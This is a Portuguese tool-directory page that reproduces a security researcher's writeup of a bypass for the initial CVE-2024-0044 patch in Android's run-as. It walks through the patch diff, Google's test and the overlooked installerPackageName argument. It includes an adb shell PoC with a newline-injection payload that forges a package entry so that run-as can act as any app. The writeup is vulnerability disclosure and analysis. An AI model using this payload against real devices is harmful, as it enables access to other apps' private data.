Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-0044 — RunAsAnyone: PoC e writeup para contornar a correção inicial do CVE-2024-0044, vulnerabilidade do Android run-as que permite executar como qualquer aplicativo, possibilitando escalada de privilégios de adb para o aplicativo instalado. | Kitploit
Ferramentas/GitHubGitHub/canyie/cve-2024-0044
Segurança AndroidEscalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoSegurança MóvelPapers e PesquisaAprendizado e EducaçãoExploração de Binários
GitHubcanyie/cve-2024-0044

CVE-2024-0044

RunAsAnyone: PoC e writeup para contornar a correção inicial do CVE-2024-0044, vulnerabilidade do Android run-as que permite executar como qualquer aplicativo, possibilitando escalada de privilégios de adb para o aplicativo instalado.

18029há 1 anoRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

CVE-2024-0044/A-307532206 é uma vulnerabilidade de alta gravidade no framework Android que permite que atacantes com acesso adb executem código arbitrário sob o UID de qualquer aplicativo. Foi originalmente descoberta por Tom Hebb do Meta Red Team X. Você pode encontrar muitos artigos sobre como explorar essa vulnerabilidade na Internet, como este e este. Para mais informações, confira este blog: https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html

O patch para essa vulnerabilidade foi incluído no Boletim de Segurança Android de março de 2024, mas agora criei um exploit que contorna o patch. O novo patch está incluído no Boletim de Segurança Android de outubro de 2024 sob o mesmo ID CVE-2024-0044. Dispositivos Android 12-13 com nível de patch de segurança anterior a 2024-10-01 estão vulneráveis a esse problema.

Este repositório contém um PoC mínimo reproduzível e um writeup.

O que há de errado com o patch original?

O patch adicionou uma validação para o nome do pacote do instalador passado ao PackageManagerService:

root@kitploit:~
diff --git a/services/core/java/com/android/server/pm/PackageInstallerService.java b/services/core/java/com/android/server/pm/PackageInstallerService.java
index 2ca3e8f..02515cf 100644
--- a/services/core/java/com/android/server/pm/PackageInstallerService.java
+++ b/services/core/java/com/android/server/pm/PackageInstallerService.java
@@ -47,6 +47,7 @@
 import android.content.pm.PackageManager;
 import android.content.pm.ParceledListSlice;
 import android.content.pm.VersionedPackage;
+import android.content.pm.parsing.ParsingPackageUtils;
 import android.graphics.Bitmap;
 import android.net.Uri;
 import android.os.Binder;
@@ -601,17 +602,22 @@
 
         // App package name and label length is restricted so that really long strings aren't
         // written to disk.
-        if (params.appPackageName != null
-                && params.appPackageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+        if (params.appPackageName != null && !isValidPackageName(params.appPackageName)) {
             params.appPackageName = null;
         }
 
         params.appLabel = TextUtils.trimToSize(params.appLabel,
                 PackageItemInfo.MAX_SAFE_LABEL_LENGTH);
 
-        String requestedInstallerPackageName = (params.installerPackageName != null
-                && params.installerPackageName.length() < SessionParams.MAX_PACKAGE_NAME_LENGTH)
-                ? params.installerPackageName : installerPackageName;
+        // Validate installer package name.
+        if (params.installerPackageName != null && !isValidPackageName(
+                params.installerPackageName)) {
+            params.installerPackageName = null;
+        }
+
+        String requestedInstallerPackageName =
+                params.installerPackageName != null ? params.installerPackageName
+                        : installerPackageName;
 
         if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
             params.installFlags |= PackageManager.INSTALL_FROM_ADB;
@@ -935,6 +941,19 @@
         throw new IllegalStateException("Failed to allocate session ID");
     }
 
+    private static boolean isValidPackageName(@NonNull String packageName) {
+        if (packageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+            return false;
+        }
+        // "android" is a valid package name
+        String errorMessage = ParsingPackageUtils.validateName(
+                packageName, /* requireSeparator= */ false, /* requireFilename */ true);
+        if (errorMessage != null) {
+            return false;
+        }
+        return true;
+    }
+

Você pode ver que params.installerPackageName será redefinido para null se não for um nome de pacote Android válido. No entanto, na linha seguinte, requestedInstallerPackageName pode ser installerPackageName quando params.installerPackageName é null ou inválido.

O que é installerPackageName?

Vamos dar uma olhada no método createSessionInternal, onde o patch foi adicionado:

root@kitploit:~
    @Override
    public int createSession(SessionParams params, String installerPackageName,
            String callingAttributionTag, int userId) {
        try {
            return createSessionInternal(params, installerPackageName, callingAttributionTag,
                    userId);
        } catch (IOException e) {
            throw ExceptionUtils.wrap(e);
        }
    }
    private int createSessionInternal(SessionParams params, String installerPackageName,
            String installerAttributionTag, int userId)
            throws IOException{
    }

Você pode ver que installerPackageName é um argumento separado que não vem de param. O patch original validou params.installerPackageName, mas esqueceu de validar installerPackageName.

Reprodução

Você pode simplesmente usar o código de exploit original do blog do Tom Hebb para reproduzir. Este repositório também contém um PoC mínimo reproduzível. Se quiser testar meu PoC, basta compilá-lo, enviar o apk gerado para /data/local/tmp/poc.apk, e então executar o seguinte código com adb shell:

root@kitploit:~
APK=/data/local/tmp/poc.apk
PAYLOAD="@null
victim <uid da vítima> 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
app_process -Djava.class.path=$APK /system/bin top.canyie.cve_2024_0044.PoC "$APK" "$PAYLOAD"
run-as victim

substitua <uid da vítima> pelo UID do aplicativo vítima.

Se quiser jogar novamente, execute adb uninstall top.canyie.cve_2024_0044 e reexecute o código acima.

Como isso aconteceu duas vezes?

O problema parece óbvio, como escapou da vista de todos?

Bem, o Google adicionou um teste para esse problema para garantir que foi corrigido:

root@kitploit:~
            // Set vulnerable 'appPackageName' and 'installerPackageName'
            // for 'SessionParams' instance
            final String vulnPackageName =
                    context.getPackageName() + "\n" + context.getPackageName();
            final SessionParams params = new SessionParams(MODE_FULL_INSTALL);
            params.setAppPackageName(vulnPackageName);
            params.setInstallerPackageName(vulnPackageName);

            final List<String> vulnerableFields = new ArrayList<String>();
            runWithShellPermissionIdentity(
                    () -> {
                        // Create session using 'SessionParams' instance, get 'appPackageName' and
                        // 'installerPackageName' corresponding to session and abandon session later
                        final PackageInstaller packageInstaller =
                                context.getPackageManager().getPackageInstaller();
                        final int sessionId = packageInstaller.createSession(params);
                        final String vulnerableAppPackageName =
                                packageInstaller.getSessionInfo(sessionId).getAppPackageName();
                        final String vulnerableInstallerPackageName =
                                packageInstaller
                                        .getSessionInfo(sessionId)
                                        .getInstallerPackageName();
                        packageInstaller.abandonSession(sessionId);

                        // Without fix, 'appPackageName' and 'installerPackageName' does not undergo
                        // internal validation and are set to 'vulnPackageName' which contain '\n'
                        if (vulnerableAppPackageName != null
                                && vulnerableAppPackageName.contains("\n")) {
                            vulnerableFields.add("'SessionParams.appPackageName'");
                        }
                        if (vulnerableInstallerPackageName != null
                                && vulnerableInstallerPackageName.contains("\n")) {
                            vulnerableFields.add("'SessionParams.installerPackageName'");
                        }
                    });

            String errorMessage =
                    "Device is vulnerable to b/307532206 !!"
                            + " packages.list newline injection allows"
                            + " run-as as any app from ADB"
                            + " Due to : Fix is not present for ";
            assertWithMessage(errorMessage.concat(String.join(" , ", vulnerableFields)))
                    .that(vulnerableFields)
                    .isEmpty();

O teste usa a API padrão pública do PackageInstaller, que não permite personalizar installerPackageName. Na API pública, installerPackageName é sempre definido como o nome real do pacote do Context fornecido:

root@kitploit:~
    public int createSession(@NonNull SessionParams params) throws IOException {
        try {
            return mInstaller.createSession(params, mInstallerPackageName, mAttributionTag,
                    mUserId);
        } catch (RuntimeException e) {
            ExceptionUtils.maybeUnwrapIOException(e);
            throw e;
        } catch (RemoteException e) {
            throw e.rethrowFromSystemServer();
        }
    }

Quando o chamador é um aplicativo de terceiros, installerPackageName é garantido como pertencente ao chamador; quando o chamador é adb, ele sempre será redefinido para null, então isso parece ok:

root@kitploit:~
        String requestedInstallerPackageName =
                params.installerPackageName != null ? params.installerPackageName
                        : installerPackageName;
        if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
            params.installFlags |= PackageManager.INSTALL_FROM_ADB;
            // adb installs can override the installingPackageName, but not the
            // initiatingPackageName
            installerPackageName = null;
        } else {
            if (callingUid != Process.SYSTEM_UID) {
                // The supplied installerPackageName must always belong to the calling app.
                mAppOps.checkPackage(callingUid, installerPackageName);
            }
            // Only apps with INSTALL_PACKAGES are allowed to set an installer that is not the
            // caller.
            if (!TextUtils.equals(requestedInstallerPackageName, installerPackageName)) {
                if (mContext.checkCallingOrSelfPermission(Manifest.permission.INSTALL_PACKAGES)
                        != PackageManager.PERMISSION_GRANTED) {
                    mAppOps.checkPackage(callingUid, requestedInstallerPackageName);
                }
            }
        }

No entanto, a operação ocorre após requestedInstallerPackageName ser definido como installerPackageName, então o valor original é mantido.

Mas se eles executassem o PoC original fornecido por Tom Hebb em vez de escrever o seu próprio, poderiam perceber o problema, pois o comando pm chama o método createSession subjacente com installerPackageName personalizado.

Mais uma pergunta: por que o problema não foi percebido por mais ninguém, já que o PoC está publicamente acessível?

Bem, essa vulnerabilidade foi analisada, reproduzida e explorada por muitas pessoas na Internet, e há um artigo escrito por Qidan He (flanker) do JD Dawn Security Lab (é um artigo muito interessante sobre CVE-2024-31317, aliás) que diz "其中CVE-2024-0044因简单直接,在技术社区已经有了广泛的分析和公开的exp" ("CVE-2024-0044 foi amplamente analisada e explorada publicamente na comunidade técnica por ser simples e direta"), no entanto ninguém percebeu, como se todos estivessem sob um feitiço.

Na verdade, alguém reproduziu com sucesso o exploit em builds corrigidos, mas o autor parece não ter percebido o que aconteceu. Eu encontrei isso através de uma revisão de código e relatei em 16 de maio de 2024, 2 meses após o patch original ser lançado. Se alguém antes de mim tivesse dedicado alguns segundos extras para examinar cuidadosamente o patch, ou apenas tentasse executar o PoC em builds corrigidas para ver se o problema estava realmente resolvido, o bug bounty teria sido deles. Isso soa como uma letra chinesa, "再多看一眼就会爆炸" ("Mais um olhar e vai explodir").

Baixar ferramenta